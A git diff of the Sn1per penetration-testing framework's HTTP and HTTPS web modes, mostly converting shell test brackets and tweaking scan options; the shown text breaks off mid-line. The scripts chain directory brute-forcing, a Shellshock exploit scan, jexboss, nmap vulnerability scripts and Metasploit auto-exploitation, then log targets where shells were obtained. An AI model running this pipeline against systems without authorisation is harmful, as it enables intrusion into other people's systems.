"${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - curl -sX GET "http://api.hackertarget.com/pagelinks/?q=http://$TARGET" | tee $LOOT_DIR/web/hackertarget-http-$TARGET.txt 2> /dev/null + curl -sX GET "http://api.hackertarget.com/pagelinks/?q=http://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid" | tee $LOOT_DIR/web/hackertarget-http-$TARGET.txt 2> /dev/null fi - if [ "$BLACKWIDOW" == "1" ]; then + if [[ "$BLACKWIDOW" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -193,67 +193,67 @@ if [ "$MODE" = "webporthttp" ]; then sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt" fi fi touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null - if [ "$WEB_BRUTE_COMMONSCAN" == "1" ]; then + if [[ "$WEB_BRUTE_COMMONSCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$DIRSEARCH" == "1" ]; then + if [[ "$DIRSEARCH" == "1" ]]; then python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_STEALTH -x 400,403,404,405,406,429,502,503,504 -F -e $WEB_BRUTE_EXTENSIONS -f -r -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_COMMON -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi - if [ "$GOBUSTER" == "1" ]; then + if [[ "$GOBUSTER" == "1" ]]; then gobuster -u http://$TARGET:$PORT -w $WEB_BRUTE_COMMON -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-port$PORT-common.txt fi fi - if [ "$WEB_BRUTE_FULLSCAN" == "1" ]; then + if [[ "$WEB_BRUTE_FULLSCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$DIRSEARCH" == "1" ]; then + if [[ "$DIRSEARCH" == "1" ]]; then python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_FULL -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi - if [ "$GOBUSTER" == "1" ]; then + if [[ "$GOBUSTER" == "1" ]]; then gobuster -u http://$TARGET:$PORT -w $WEB_BRUTE_FULL -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-port$PORT-full.txt fi fi - if [ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]; then + if [[ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$DIRSEARCH" == "1" ]; then + if [[ "$DIRSEARCH" == "1" ]]; then python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi - if [ "$GOBUSTER" == "1" ]; then + if [[ "$GOBUSTER" == "1" ]]; then gobuster -u http://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-port$PORT-exploits.txt fi fi - if [ "$DIRSEARCH" == "1" ]; then + if [[ "$DIRSEARCH" == "1" ]]; then cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt" fi fi - if [ "$GOBUSTER" == "1" ]; then + if [[ "$GOBUSTER" == "1" ]]; then sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null fi wget http://$TARGET:$PORT/robots.txt -O $LOOT_DIR/web/robots-$TARGET:$PORT-http.txt 2> /dev/null - if [ "$CLUSTERD" == "1" ]; then + if [[ "$CLUSTERD" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" clusterd -i $TARGET -p $PORT | tee $LOOT_DIR/web/clusterd-$TARGET-port$PORT.txt fi - if [ "$CMSMAP" == "1" ]; then + if [[ "$CMSMAP" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING CMSMAP $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -262,7 +262,7 @@ if [ "$MODE" = "webporthttp" ]; then cmsmap http://$TARGET/wordpress/ | tee $LOOT_DIR/web/cmsmap-$TARGET-http-port$PORTb.txt echo "" fi - if [ "$WPSCAN" == "1" ]; then + if [[ "$WPSCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -271,7 +271,7 @@ if [ "$MODE" = "webporthttp" ]; then wpscan --url http://$TARGET:$PORT/wordpress/ --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port$PORTb.txt echo "" fi - if [ "$NIKTO" == "1" ]; then + if [[ "$NIKTO" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -279,19 +279,19 @@ if [ "$MODE" = "webporthttp" ]; then sed -ir "s/ /dev/null | tee $LOOT_DIR/web/clusterd-$TARGET-http-port$PORT.txt fi - if [ "$SHOCKER" == "1" ]; then + if [[ "$SHOCKER" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" python $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --port $PORT | tee $LOOT_DIR/web/shocker-$TARGET-port$PORT.txt fi - if [ "$JEXBOSS" == "1" ]; then + if [[ "$JEXBOSS" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING JEXBOSS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -301,7 +301,7 @@ if [ "$MODE" = "webporthttp" ]; then rm -f $LOOT_DIR/web/jexboss-$TARGET-port$PORT.raw 2> /dev/null cd $INSTALL_DIR fi - if [ $METASPLOIT_EXPLOIT = "1" ]; then + if [[ $METASPLOIT_EXPLOIT = "1" ]]; then SSL="false" source modes/web_autopwn.sh fi @@ -314,21 +314,21 @@ if [ "$MODE" = "webporthttp" ]; then mv $LOOT_DIR/scans/running-$TARGET-webporthttp.txt $LOOT_DIR/scans/finished-$TARGET-webporthttp.txt 2> /dev/null rm -f $INSTALL_DIR/.fuse_* 2> /dev/null VULNERABLE_METASPLOIT=$(egrep -h -i -s "may be vulnerable|is vulnerable|IKE response with leak|File saved in" $LOOT_DIR/output/msf-$TARGET-*.txt 2> /dev/null) - if [ ${#VULNERABLE_METASPLOIT} -ge 5 ]; then + if [[ ${#VULNERABLE_METASPLOIT} -ge 5 ]]; then echo "$VULNERABLE_METASPLOIT" > $LOOT_DIR/output/vulnerable-metasploit-$TARGET.txt 2> /dev/null fi VULNERABLE_SHELLSHOCK=$(egrep -h -i -s "The following URLs appear to be exploitable:" $LOOT_DIR/web/shocker-$TARGET-*.txt 2> /dev/null) - if [ ${#VULNERABLE_SHELLSHOCK} -ge 5 ]; then + if [[ ${#VULNERABLE_SHELLSHOCK} -ge 5 ]]; then echo "$VULNERABLE_SHELLSHOCK" > $LOOT_DIR/output/vulnerable-shellshock-$TARGET.txt 2> /dev/null fi SHELLED=$(egrep -h -i -s "Meterpreter session|Command executed|File(s) found:|Command Stager progress|File uploaded|Command shell session" $LOOT_DIR/output/msf-$TARGET-*.txt 2> /dev/null) - if [ ${#SHELLED} -ge 5 ]; then + if [[ ${#SHELLED} -ge 5 ]]; then echo "$SHELLED" > $LOOT_DIR/output/shelled-$TARGET.txt 2> /dev/null fi - if [ "$LOOT" = "1" ]; then + if [[ "$LOOT" = "1" ]]; then loot fi - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: http://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi exit diff --git a/modes/webporthttps.sh b/modes/webporthttps.sh index 6dac6f6..8952fdd 100644 --- a/modes/webporthttps.sh +++ b/modes/webporthttps.sh @@ -1,7 +1,7 @@ # WEBPORTHTTPS MODE ##################################################################################################### -if [ "$MODE" = "webporthttps" ]; then - if [ "$REPORT" = "1" ]; then - if [ ! -z "$WORKSPACE" ]; then +if [[ "$MODE" = "webporthttps" ]]; then + if [[ "$REPORT" = "1" ]]; then + if [[ ! -z "$WORKSPACE" ]]; then args="$args -w $WORKSPACE" LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" @@ -17,7 +17,7 @@ if [ "$MODE" = "webporthttps" ]; then echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null echo "sniper -t $TARGET -m $MODE -p $PORT --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running-$TARGET-webporthttps.txt - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: https://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" fi sniper -t $TARGET -m $MODE -p $PORT --noreport $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-$PORT-`date +"%Y%m%d%H%M"`.txt 2>&1 @@ -71,9 +71,9 @@ if [ "$MODE" = "webporthttps" ]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING TCP PORT SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -sV -Pn -p $PORT --open $TARGET -oX $LOOT_DIR/nmap/nmap-https-$TARGET.xml + nmap -sV -Pn --data-length=50 -p $PORT --open $TARGET -oX $LOOT_DIR/nmap/nmap-https-$TARGET.xml port_https=`grep 'portid="'$PORT'"' $LOOT_DIR/nmap/nmap-https-$TARGET.xml | grep open` - if [ -z "$port_https" ]; + if [[ -z "$port_https" ]]; then echo -e "$OKRED + -- --=[Port $PORT closed... skipping.$RESET" else @@ -86,7 +86,7 @@ if [ "$MODE" = "webporthttps" ]; then curl --connect-timeout 5 -I -s -R https://$TARGET:$PORT | tee $LOOT_DIR/web/headers-https-$TARGET-$PORT.txt 2> /dev/null curl --connect-timeout 5 -I -s -R -L https://$TARGET:$PORT | tee $LOOT_DIR/web/websource-https-$TARGET-$PORT.txt 2> /dev/null curl --connect-timeout 5 --max-time 10 -I -s -R -X OPTIONS https://$TARGET:$PORT | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port$PORT.txt 2> /dev/null - if [ "$WEBTECH" = "1" ]; then + if [[ "$WEBTECH" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -104,14 +104,14 @@ if [ "$MODE" = "webporthttps" ]; then echo -e "$OKRED DISPLAYING SITE LINKS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" cat $LOOT_DIR/web/websource-https-$TARGET-$PORT.txt 2> /dev/null | egrep "\"" | cut -d\" -f2 | grep \/ | sort -u 2> /dev/null | tee $LOOT_DIR/web/weblinks-https-$TARGET-$PORT.txt 2> /dev/null - if [ "$WAFWOOF" == "1" ]; then + if [[ "$WAFWOOF" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED CHECKING FOR WAF $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" wafw00f https://$TARGET:$PORT | tee $LOOT_DIR/web/waf-$TARGET-https-port$PORT.txt 2> /dev/null echo "" fi - if [ "$WHATWEB" == "1" ]; then + if [[ "$WHATWEB" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING HTTP INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -120,7 +120,7 @@ if [ "$MODE" = "webporthttps" ]; then rm -f $LOOT_DIR/web/whatweb-$TARGET-https-port$PORT.raw 2> /dev/null echo "" fi - if [ "$WIG" == "1" ]; then + if [[ "$WIG" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING SERVER INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -128,7 +128,7 @@ if [ "$MODE" = "webporthttps" ]; then sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-https-$PORT > $LOOT_DIR/web/wig-$TARGET-https-$PORT.txt 2> /dev/null rm -f $LOOT_DIR/web/wig-$TARGET-https-$PORT 2> /dev/null fi - if [ "$SSL" = "1" ]; then + if [[ "$SSL" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING SSL/TLS INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -140,54 +140,54 @@ if [ "$MODE" = "webporthttps" ]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED SAVING SCREENSHOTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ $CUTYCAPT = "1" ]; then - if [ $DISTRO == "blackarch" ]; then + if [[ $CUTYCAPT = "1" ]]; then + if [[ $DISTRO == "blackarch" ]]; then /bin/CutyCapt --url=https://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=5000 2> /dev/null else cutycapt --url=https://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=5000 2> /dev/null fi fi - if [ $WEBSCREENSHOT = "1" ]; then + if [[ $WEBSCREENSHOT = "1" ]]; then cd $LOOT_DIR python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium https://$TARGET:$PORT fi - if [ "$BURP_SCAN" == "1" ]; then + if [[ "$BURP_SCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING BURPSUITE SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$VERBOSE" == "1" ]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -X POST \"http://$BURP_HOST:$BURP_PORT/v0.1/scan\" -d \"{\"scope\":{\"include\":[{\"rule\":\"https://$TARGET:$PORT\"}],\"type\":\"SimpleScope\"},\"urls\":[\"https://$TARGET:$PORT\"]}\"$RESET" fi curl -s -X POST "http://$BURP_HOST:$BURP_PORT/v0.1/scan" -d "{\"scope\":{\"include\":[{\"rule\":\"https://$TARGET:$PORT\"}],\"type\":\"SimpleScope\"},\"urls\":[\"https://$TARGET:$PORT\"]}" echo "" fi - if [ "$NMAP_SCRIPTS" == "1" ]; then + if [[ "$NMAP_SCRIPTS" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -Pn -T5 -p $PORT -sV --script=/usr/share/nmap/scripts/iis-buffer-overflow.nse --script=http-vuln*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port$PORT + nmap -A -Pn -T5 -p $PORT -sV --script=/usr/share/nmap/scripts/iis-buffer-overflow.nse --script=http-vuln*,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port$PORT sed -r "s/ /dev/null > $LOOT_DIR/output/nmap-$TARGET-port$PORT.txt 2> /dev/null rm -f $LOOT_DIR/output/nmap-$TARGET-port$PORT 2> /dev/null fi - if [ "$PASSIVE_SPIDER" == "1" ]; then + if [[ "$PASSIVE_SPIDER" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null + curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2019-51-index?url=*.$TARGET&output=json" | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null fi - if [ "$WAYBACKMACHINE" == "1" ]; then + if [[ "$WAYBACKMACHINE" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null fi - if [ "$HACKERTARGET" == "1" ]; then + if [[ "$HACKERTARGET" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - curl -sX GET "http://api.hackertarget.com/pagelinks/?q=https://$TARGET" | tee $LOOT_DIR/web/hackertarget-https-$TARGET.txt 2> /dev/null + curl -sX GET "http://api.hackertarget.com/pagelinks/?q=https://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid" | tee $LOOT_DIR/web/hackertarget-https-$TARGET.txt 2> /dev/null fi - if [ "$BLACKWIDOW" == "1" ]; then + if [[ "$BLACKWIDOW" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -203,67 +203,67 @@ if [ "$MODE" = "webporthttps" ]; then sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt - if [ "$SLACK_NOTIFICATIONS" == "1" ]; then + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt" fi fi touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null - if [ "$WEB_BRUTE_COMMONSCAN" == "1" ]; then + if [[ "$WEB_BRUTE_COMMONSCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$DIRSEARCH" == "1" ]; then + if [[ "$DIRSEARCH" == "1" ]]; then python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_STEALTH -x 400,403,404,405,406,429,502,503,504 -F -e $WEB_BRUTE_EXTENSIONS -f -r -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_COMMON -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi - if [ "$GOBUSTER" == "1" ]; then + if [[ "$GOBUSTER" == "1" ]]; then gobuster -u https://$TARGET:$PORT -w $WEB_BRUTE_COMMON -e -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" -t $THREADS -o $LOOT_DIR/web/webbrute-$TARGET-https-port$PORT-common.txt -fw -r fi fi - if [ "$WEB_BRUTE_FULLSCAN" == "1" ]; then + if [[ "$WEB_BRUTE_FULLSCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$DIRSEARCH" == "1" ]; then + if [[ "$DIRSEARCH" == "1" ]]; then python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET:$PORT -w $WEB_BRUTE_FULL -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi - if [ "$GOBUSTER" == "1" ]; then + if [[ "$GOBUSTER" == "1" ]]; then gobuster -u https://$TARGET:$PORT -w $WEB_BRUTE_FULL -e -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" -t $THREADS -o $LOOT_DIR/web/webbrute-$TARGET-https-port$PORT-full.txt -fw -r fi fi - if [ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]; then + if [[ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET" echo -e 